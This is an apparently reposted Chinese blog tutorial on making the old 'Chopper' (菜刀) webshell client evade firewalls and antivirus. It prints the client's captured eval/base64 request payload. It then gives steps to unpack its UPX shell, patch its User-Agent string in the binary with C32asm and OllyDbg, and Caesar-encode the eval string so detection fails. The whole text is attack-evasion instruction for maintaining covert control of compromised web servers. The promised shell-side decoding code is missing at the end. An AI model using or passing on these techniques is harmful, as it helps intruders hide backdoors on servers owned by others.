准备工作
一把菜刀
20100928发布的老版菜刀
查壳及脱壳
查壳
可以看到,菜刀使用了UPX压缩壳. UPX壳主要是压缩作用,很容易脱壳.
脱壳
直接把软件拖进去即可脱壳。
免杀原理
分析菜刀在连接webshell的时候发送的数据包情况,用WSExplorer或者Wireshark来抓包。
我们可以看出,菜刀连接webshell的时候发送的数据内容是:x=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
菜刀在连接Webshell的时候会发送两段数据,分别是x 和 z0
- x 是shell的密码,其中的数据是让shell再接收一个z0
- z0 中存放着执行命令,列目录,修改文件等操作的PHP代码,并试用base64加密数据.
经过测试发现,防火墙的拦截点有以下两点:
- 1.UA头,防火墙捕捉了一些恶意软件的UA头,一点发现UA头在列表中,则判断为恶意行为.
- 2.第一个参数x中的数据,赤裸裸的eval,哪个防火墙看见了也会拦截.
所以要做免杀就要做以下两点处理:
- 1.修改UA头,改成百度蜘蛛的UA 或者 正常浏览器的UA均可
- 2.将第一个参数中的数据也进行假面处理
实现免杀
修改UA头
由于改后的UA比原本的UA长,因此我们需要在程序领空的其他空白地方进行修改,免得覆盖程序代码.
正常的Chrome UA如下:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
用C32asm修改后:
OK,先记下这个地址000006E0
C32里面显示的是文件偏移地址,而OD显示的是内存偏移地址,那么需要在OD中找到文件偏移地址对应的内存偏移地址,然后将原来UA的地址换成新UA的地址
然后记录下这个内存偏移地址为:004006E0
找到将UA压栈的地方,修改地址为新的UA地址
然后右击 “复制到可执行文件” -> 右击”保存文件”
再抓包测试:
看到UA已经修改了
修改第一个参数数据
把@eval(base64_decode($_POST[z0])); 这段代码来进行自定义加密,然后再在shell中解密,这样也可以防止菜刀有后门。
我的自定义加密采用了凯撒密码:按照ascii表向后移动四位(尽量避开特殊字符,否则会失败),加密后的数据是 Dizep,fewi:8chigshi,(cTSWX_~4a–? 而杀软并不识别这段密文,因此达到免杀效果。
先在C32asm中搜索字符串
然后把里面的 @eval(base64_decode($_POST[z0])); 用 Dizep,fewi:8chigshi,(cTSWX_~4a–? 进行替换。
然后保存文件就大功告成了。
用法
在已经做过免杀的shell中添加以下代码:
原文链接:https://duduziy.com/376.html,转载请注明出处。 郑重声明: 本站所有内容仅供大家参考、学习,不存在任何商业目的与商业用途。 若您需要商业运营或用于其他商业活动,请您购买正版授权并合法使用。 我们不承担任何技术及版权问题,且不对任何资源负法律责任。 如遇到资源无法下载,请点击这里失效报错。失效报错提交后记得查看你的留言信息,24小时之内反馈信息。 如有侵犯您的版权,请给我们私信,我们会尽快处理,并诚恳的向你道歉!
评论0